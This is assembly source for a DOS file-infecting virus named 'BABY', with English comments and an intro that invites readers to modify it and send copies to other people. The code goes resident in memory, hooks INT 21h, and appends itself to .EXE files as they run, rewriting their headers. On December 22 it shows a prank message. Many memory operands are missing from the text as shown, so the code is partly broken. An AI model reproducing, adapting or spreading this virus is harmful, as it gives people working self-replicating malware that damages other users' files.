Classic bird virus, it's cool to learn and modify! After modifying, send one to the Bird Island people.
--.radix 16
--.model tiny
--.286c
--.code
--org 0
start:
--push es--------; Push the original PSP onto the stack
--call position------; Call POSITION
position:----------; Actually, you can also use the interrupt return method to read the current offset (anti-DEBUG ^o^ )
--pop si--------; Get the offset SI
--sub si,position-start----; Get the entry offset, store in SI
--push si--------; SI pushes onto the stack
--mov ax,30AE------; Get the DOS version number (AE is to notify companions)
--int 21--------; Actually to judge whether it has been resident
--cmp cx,04c6------; CX=04C6 indicates it has been resident
--jne install------; Not equal, then resident
--jmp run_host------; Equal, then run the original program
install:
;================================================================
;You can add active code here: Don't too cruel!
;================================================================
active_check:
--mov ah,2a------; Get the date
--int 21
--cmp dx,0c16------; Is it December 22nd
--jz active------; Yes, then act up
--jmp no_active------; No, then transfer
active:
--push cs
--pop ds--------; Set DS=CS
--push si
mov bl,COLOR1
--mov dx,offset active_mess-start--; Calculate the absolute offset of the attack message
--add si,dx------; Calculate the actual address
--call write_on_screen----; Display the attack message
--mov ah,00------; Wait for a character to continue
int 16
pop si
push si
mov bl,COLOR2
mov dx,offset active_other_mess-start
add si,dx
call write_on_screen
--mov ah,00------; Wait for a character to continue
int 16
--pop si
--jmp run_host
;================================================================
no_active:
--mov ah,52------; Get the disk buffer address
--int 21
--mov bx,es:----; Get the first MCB address
--xor di,di------; Clear DI
loop_search:
--mov es,bx------; Find the last MCB address
--add bx,word ptr es:
--inc bx
--cmp byte ptr es:,5a
--jnz loop_search
;================Found Last MCB=========--
--mov bx,es------; Save the found last MCB address----
--mov ax,word ptr es:--; Get the size of the last MCB
--sub ax,vir_para------; Subtract its own PARA
--jnc keep_in_memory----; If there is no overflow, it means there is not enough to be resident
--jmp run_host------; Otherwise continue
keep_in_memory:
--mov word ptr es:,ax--; Rewrite the size of the last MCB
--add bx,ax------; Calculate the resident segment address
--inc bx
--mov es,bx------; And send it to ES
--push cs
--pop ds--------; Set DS=CS
--mov cx,vir_bytes----; Move itself
--cld
--rep movsb
;===============hook int 21============
; The virus in memory address is:
;======================================
--xor si,si
--mov ds,si------; Hook the interrupt vector 21
mov dx,offset new_int21-start
--cli
--xchg ds:word ptr ,dx
--xchg ds:word ptr ,bx
--mov es:word ptr oldint21,dx
--mov es:word ptr oldint21+2,bx
--sti
;==============run host================
run_host:
--push cs--------
--pop ds
--pop si
mov di,offset old_header-start
--add di,si
--mov al,byte ptr ----; Add the first two characters of OLD_HEADER
--add al,byte ptr ----; Then send to AL
--cmp al,0a7------; Compare whether AL is equal to 0A7
--jne run_com------;(4D+5A=0A7)
--jmp run_exe
run_com:
;=======================================
;You can add run .com file here!
;=======================================
--int 20
run_exe:
mov di,offset old_header-start
--add di,si------; Send the OLD_HEADER address to DI
--pop cx--------; Pop the original PSP
--mov dx,cx------
--add dx,10------; Original PSP +10H
--mov ax,word ptr ----; Send the original program SS offset to AX
--add ax,dx------; Calculate the initial value of SS
--mov ss,ax
--mov ax,word ptr ----; Send the original program SP to AX
--mov sp,ax
--mov ax,word ptr ----; Send the original program CS offset to AX
--add ax,dx------; Calculate the initial value of CS
--mov bx,word ptr ----; Send the original program IP to BX
--mov ds,cx------; Set DS
--mov es,cx------; Set ES
--push ax--------; Push the original CS onto the stack
--push bx--------; Push the original IP onto the stack
--xor ax,ax
--xor bx,bx------; Clear AX, BX, CX, DX, SI, DI, BP
--xor cx,cx
--xor dx,dx
--xor si,si
--xor di,di
--xor bp,bp
--retf--------
;=========================================
new_int21:
--pushf--------; Push the flags onto the stack
--cmp ax,30AE------; Is it a companion calling
--jne next------; No, then transfer
--call dword ptr cs

ldint21--; Yes, then respond
--mov cx,04c6
--iret--
next:
--cmp ah,4bh------; Is it running a program
--jz infect------; Yes, then go to infect
--pusha--------; No, then call the original INT21
--push ds
--push es
--jmp exit_int21
exit_int21_0:
--mov ah,3e------; Close the document
--call calloldint21
exit_int21:
--pop es--------; Pop the registers
--pop ds
--popa
--popf--------; Pop the flags
jmp dword ptr cs

ldint21 ; Call the original INT21 to return, execute the original program
infect:
--pusha--------; Push the registers onto the stack
--push ds
--push es
--mov ax,4300
--call calloldint21----; Get the document attributes
--mov word ptr cs:file_attrib,cx--; Save the original attributes
--mov ax,4301------; Set to normal document
--mov cx,20
--call calloldint21
--mov ax,3d02------; Open the file
--call calloldint21
--jnc con1------; No error, then continue
--jmp exit_int21------; Error, then leave
con1:
--xchg ax,bx------; Save HANDLE
--mov ax,5700------; Get the document time
--call calloldint21
--and cx,7ff
--cmp cx,18bH------; Is the document modification time: 12 minutes 22 seconds
--jnz con2------; No, continue
--jmp exit_int21_0----; Yes, do not infect
con2:
--push cs--
--push cs--
--pop ds
--pop es--------; Set DS=ES=CS
--lea dx,old_header----; Read the first 20H characters of the document
--mov cx,20
--mov ah,3f
--call calloldint21
--jnc con3
--jmp exit_int21_0
con3:
--lea si,old_header----; Copy the first 20H characters of the document header
--lea di,vir_header
--mov cx,20
--cld
--rep movsb
--lea di,vir_header
--mov al,byte ptr ----; Judge whether the document is an .EXE FILE
--add al,byte ptr
--cmp al,0a7
--jnz infect_com
--jmp infect_exe
infect_com:
;=======================================
;You can add infect .com file here!
;=======================================
--jmp exit_int21_0----; It is a .COM file, then leave
infect_exe:
--call check_size------; Get the document length
--cmp dx,0
--jnz con6
--cmp ax,07bc------; If the document length>1980, then infect
--ja con6--------; Otherwise exit
--jmp exit_int21_0
con6:
--push ax--------; Save the document length DX:AX
--push dx----
--add ax,vir_bytes----; Calculate the length after infection
--adc dx,0------; And write back
--mov cx,200
--div cx
--or dx,dx
--jz con7
--inc ax
con7:
--mov word ptr ,dx
--mov word ptr ,ax--
--pop dx--------; Retrieve the document length
--pop ax----
--mov cx,10------;(DX:AX/10) then AX is the PARA number
--div cx--------; DX is the remainder
--sub ax,word ptr ----; Subtract the PARA number of the document header
--mov word ptr ,dx----; At this time, DX is the infected IP
--mov word ptr ,ax----; AX is the infected SS, CS
--mov word ptr ,ax
--add dx,4000------; New SP is equal to new IP+4000
--mov word ptr ,dx----; Send to SP
set_time_exit:
--mov ax,4200------; Write back the modified document header
--xor cx,cx------
--xor dx,dx
--call calloldint21
--mov dx,di
--mov cx,20
--mov ah,40
--call calloldint21
--jnc con5
--jmp exit_int21_0
con5:
--call check_size------; Move the document pointer to the end of the document
--lea dx,start
--mov cx,vir_bytes----; Write itself
--mov ah,40
--call calloldint21----; Set the document time to: 12 minutes 22 seconds
--mov ax,5700
--call calloldint21
--and cx,0f800
--or cx,18bh
--mov ax,5701
--call calloldint21
--mov ah,3e------; Close the file
--call calloldint21
--pop es
--pop ds
--popa
--pusha
--push ds
--push es
--mov cx,word ptr cs:file_attrib--; Get the original document attributes
--mov ax,4301------; Set back the original document attributes
--call calloldint21
--jmp exit_int21------; Leave
;===============================
check_size:----; Function: 1. Read the document size 2. Move the file pointer to the end of the document
--mov ax,4202
--xor cx,cx
--xor dx,dx
--call calloldint21
--ret
;===============================
calloldint21:----; Call the original interrupt 21h
--pushf
--call dword ptr cs

ldint21
--ret
;===============================
write_on_screen:----; Directly write to the screen
--push es
--mov ax,0003
--int 10
--mov dx,0b800
--mov es,dx
--xor di,di
--cld
loop_write:
--lodsb
--or al,al
--jnz read_con
--pop es
--ret
read_con:
--stosb
mov es:byte ptr ,bl
--inc di
--jmp loop_write
;===============================
;--My cute Virus Data
;===============================
old_header db 0cdh,20,1e dup(0)
active_mess db ' Warning! Warning! VIRUS Warning!',2e dup(20)
db ' Hi! You notice here! VIRUS : BABY ( Ver 1.00B ) has come!',15 dup(20)
db ' Guess What will I do, NEXT ? Press any key to get the ANSWER...',0f DUP(20),0
COLOR1 EQU 0CF
active_other_mess db 50 dup(20)
db ' It is only a joke, I will not harm you! Today is ANDY birthday, so I will do '
db ' nothing today! Have a good day! Bye!',7bh dup(20),0
COLOR2 EQU 1E
vir_bytes equ $-offset start
vir_para equ (vmem+0f)/10
vir_header db-- 20 dup(0)
oldint21 dd--?
file_attrib dw ?
vmem equ $-offset start
;==================================
--end--start